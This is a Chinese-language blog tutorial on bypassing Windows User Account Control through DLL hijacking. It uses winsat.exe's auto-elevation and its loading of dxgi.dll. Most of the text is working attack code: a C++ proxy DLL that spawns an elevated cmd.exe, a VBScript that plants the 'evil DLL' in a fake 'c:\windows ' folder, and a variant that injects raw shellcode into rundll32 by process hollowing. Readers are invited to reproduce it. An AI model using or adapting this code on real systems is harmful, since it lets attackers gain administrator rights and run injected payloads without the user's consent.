bypassUAC && DLL劫持

gclome

原文链接：bypassUAC && DLL劫持


0x11 UAC简介

用户帐户控制（User Account Control，简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权，以达到帮助阻止恶意程序（有时也称为“恶意软件”）损坏系统的效果。

UAC需要授权的动作包括：

1.配置Windows Update
2.增加或删除用户账户
3.改变用户的账户类型
4.改变UAC设置
6.安装ActiveX
6.安装或移除程序
7.安装设备驱动程序
8.设置家长控制
9.将文件移动或复制到Program Files或Windows目录
10.查看其他用户文件夹

效果如下：

​

而UAC也是区分等级的，具体设置如下

​


为什么有的应用程序不需要提示UAC？？
一句话解释就是因为有的可以程序可以autoElevate（自动提升）

这也是我们常用的几种uac bypass的手法之一.常见手法如下

1.白名单提权机制 - autoElevate
2.DLL 劫持
3.Windows 自身漏洞提权
4.远程注入
5.COM 接口技术

具有autoElevate属性True的应用程序会在启动时自动提升权限，而这些应用程序往往都具备微软的签名，微软认为它是可信的。故此，在该程序启动时，将会以管理员身份启动，假设我们通过COM技术或者DLL劫持该应用程序，也能够获得管理员权限，但分析成本，利用难度也都是很高的。

0x12 BypassUAC

下面我们来查找一下具有该权限的应用程序，并利用DLL劫持的方法来bypassUAC，关于DLL劫持的原理这里不再论述，网上已经有多相关的文章了。

1. strings.exe -s *.exe | findstr /i autoelevate

复制代码

​

我们最后选择了winsat.exe这个程序作为我们的劫持程序，下面就是查看该程序会加载的DLL。

​

发现其会加载dxgi.dll。
下面就是需要编写我们的dll了，原理如下（图来自国外）

​

可以通过dllexp来查看dll内的函数

​

你可以自行编写所需要的dll，也可以使用一些自动化工具来生成所需的dll。中间也是出了很多问题，多亏了团队的wlpz师傅的指点，我这里最后的目的就是使用dll劫持来运行一个cmd，所以最后的主要代码如下：

1. # include "pch.h"
   
2. 
   
3. #include <windows.h>
   
4. #include <Wtsapi32.h>
   
5. 
   
6. #pragma comment(lib, "Wtsapi32.lib")
   
7. 
   
8. # define EXTERNC extern "C"
   
9. # define NAKED __declspec(naked)
   
10. # define EXPORT EXTERNC __declspec(dllexport)
    
11. # define ALCPP EXPORT NAKED
    
12. # define ALSTD EXTERNC EXPORT NAKED void __stdcall
    
13. # define ALCFAST EXTERNC EXPORT NAKED void __fastcall
    
14. # define ALCDECL EXTERNC NAKED void __cdecl
    
15. 
    
16. EXTERNC
    
17. {
    
18.     FARPROC Hijack_ApplyCompatResolutionQuirking;
    
19.     FARPROC Hijack_CompatString;
    
20.     FARPROC Hijack_CompatValue;
    
21.     FARPROC Hijack_CreateDXGIFactory;
    
22.     FARPROC Hijack_CreateDXGIFactory1;
    
23.     FARPROC Hijack_CreateDXGIFactory2;
    
24.     FARPROC Hijack_DXGID3D10CreateDevice;
    
25.     FARPROC Hijack_DXGID3D10CreateLayeredDevice;
    
26.     FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;
    
27.     FARPROC Hijack_DXGID3D10RegisterLayers;
    
28.     FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;
    
29.     FARPROC Hijack_DXGIDumpJournal;
    
30.     FARPROC Hijack_DXGIGetDebugInterface1;
    
31.     FARPROC Hijack_DXGIReportAdapterConfiguration;
    
32.     FARPROC Hijack_PIXBeginCapture;
    
33.     FARPROC Hijack_PIXEndCapture;
    
34.     FARPROC Hijack_PIXGetCaptureState;
    
35.     FARPROC Hijack_SetAppCompatStringPointer;
    
36.     FARPROC Hijack_UpdateHMDEmulationStatus;
    
37. 
    
38. }
    
39. 
    
40. namespace DLLHijacker
    
41. {
    
42.     HMODULE m_hModule = NULL;
    
43.     DWORD m_dwReturn[17] = {0};
    
44. 
    
45.     inline BOOL WINAPI Load()
    
46. {
    
47.         TCHAR tzPath[MAX_PATH];
    
48.         lstrcpy(tzPath, TEXT("dxgi"));
    
49.         m_hModule = LoadLibrary(tzPath);
    
50.         if (m_hModule == NULL)
    
51.             return FALSE;
    
52.         return (m_hModule != NULL);
    
53.     }
    
54. 
    
55.     FARPROC WINAPI GetAddress(PCSTR pszProcName)
    
56. {
    
57.         FARPROC fpAddress;
    
58.         CHAR szProcName[16];
    
59.         fpAddress = GetProcAddress(m_hModule, pszProcName);
    
60.         if (fpAddress == NULL)
    
61.         {
    
62.             if (HIWORD(pszProcName) == 0)
    
63.             {
    
64.                 wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
    
65.                 pszProcName = szProcName;
    
66.             }
    
67.             ExitProcess(-2);
    
68.         }
    
69.         return fpAddress;
    
70.     }
    
71. }
    
72. 
    
73. using namespace DLLHijacker;
    
74. 
    
75. 
    
76. 
    
77. void StartProcess()
    
78. {
    
79.     STARTUPINFO startInfo = { 0 };
    
80. 
    
81.     PROCESS_INFORMATION procInfo = { 0 };
    
82. 
    
83.     WCHAR cmdline[] = L"cmd.exe";
    
84.    
    
85.     CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);
    
86. }
    
87. 
    
88. 
    
89. BOOL APIENTRY DllMain( HMODULE hModule,
    
90.                        DWORD  ul_reason_for_call,
    
91.                        LPVOID lpReserved
    
92.                      )
    
93. {
    
94.     switch (ul_reason_for_call)
    
95.     {
    
96.     case DLL_PROCESS_ATTACH:
    
97.     {
    
98.         DisableThreadLibraryCalls(hModule);
    
99.         if(Load())
    
100.         {
     
101.             Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking");
     
102.       Hijack_CompatString = GetAddress("CompatString");
     
103.       Hijack_CompatValue = GetAddress("CompatValue");
     
104.       Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory");
     
105.       Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1");
     
106.       Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2");
     
107.       Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice");
     
108.       Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice");
     
109.       Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize");
     
110.       Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers");
     
111.       Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport");
     
112.       Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal");
     
113.       Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1");
     
114.       Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration");
     
115.       Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture");
     
116.       Hijack_PIXEndCapture = GetAddress("PIXEndCapture");
     
117.       Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState");
     
118.       Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer");
     
119.       Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");
     
120.       
     
121.             StartProcess();
     
122. 
     
123.         }
     
124. 
     
125.     }
     
126.     case DLL_THREAD_ATTACH:
     
127.     case DLL_THREAD_DETACH:
     
128.     case DLL_PROCESS_DETACH:
     
129.         break;
     
130.     }
     
131.     return TRUE;
     
132. }
     
133. 
     

复制代码

但是这里又碰上了一个问题，一般这种系统的dll都是需要权限才能更改、移动的，劫持的话就需要做一些操作，不过好在发现了一个vbs脚本，可以帮助我们来完成这个操作，免除权限问题，代码很简单，就不赘述了

1. Set oFSO = CreateObject("Scripting.FileSystemObject")
   
2. Set wshshell = wscript.createobject("WScript.Shell")
   
3. 
   
4. ' Get target binary and payload
   
5. WScript.StdOut.Write("System32 binary: ")
   
6. strBinary = WScript.StdIn.ReadLine()
   
7. WScript.StdOut.Write("Path to your DLL: ")
   
8. strDLL = WScript.StdIn.ReadLine()
   
9. 
   
10. ' Create folders
    
11. Const target = "c:\windows "
    
12. target_sys32 = (target & "system32")
    
13. target_binary = (target_sys32 & strBinary)
    
14. If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
    
15. If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If
    
16. 
    
17. ' Copy legit binary and evil DLL
    
18. oFSO.CopyFile ("c:\windows\system32" & strBinary), target_binary
    
19. oFSO.CopyFile strDLL, target_sys32
    
20. ' Run, Forrest, Run!
    
21. wshshell.Run("""" & target_binary & """")
    
22. 
    
23. ' Clean files
    
24. WScript.StdOut.Write("Clean up? (press enter to continue)")
    
25. WScript.StdIn.ReadLine()
    
26. wshshell.Run("powershell /c ""rm -r """"\\?" & target & """""""")

复制代码

最后的效果如下


​

如果需要加载shellcode，可以改写里面的函数，比如变成下面这样

1. void StartProcess()
   
2. {
   
3.   unsigned char shellcode_calc[] =
   
4.     "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
   
5.     "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
   
6.     "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
   
7.     "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
   
8.     "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
   
9.     "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
   
10.     "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    
11.     "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    
12.     "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    
13.     "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    
14.     "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    
15.     "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    
16.     "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    
17.     "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    
18.     "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
    
19.     "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
    
20.     "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
    
21.     "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
    
22.     "\x63\x2e\x65\x78\x65\x00";
    
23. 
    
24.   TCHAR CommandLine[] = TEXT("c:\\windows\\system32\\rundll32.exe");
    
25. 
    
26.   CONTEXT Context;
    
27.   struct _STARTUPINFOA StartupInfo;
    
28.   struct _PROCESS_INFORMATION ProcessInformation;
    
29.   LPVOID lpBaseAddress;  
    
30. 
    
31.   ZeroMemory(&StartupInfo, sizeof(StartupInfo));
    
32.   StartupInfo.cb = 104;
    
33.   if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {
    
34.     Context.ContextFlags = 1048579;
    
35.     GetThreadContext(ProcessInformation.hThread, &Context);
    
36.     lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);
    
37.     WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);
    
38.     Context.Rip = (DWORD64)lpBaseAddress;
    
39.     SetThreadContext(ProcessInformation.hThread, &Context);
    
40.     ResumeThread(ProcessInformation.hThread);
    
41.     CloseHandle(ProcessInformation.hThread);
    
42.     CloseHandle(ProcessInformation.hProcess);
    
43.   }
    
44. }

复制代码

写在后面，当时学习该方法时，发现该作者已经整理了一份可劫持的系统表，地址如下；

https://github.com/wietze/window ... king_candidates.csv

​

有兴趣的可以复现看看.

参考文章：
https://payloads.online/archiver ... D%E6%96%B9%E5%BC%8F
https://payloads.online/archivers/2020-03-02/2
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows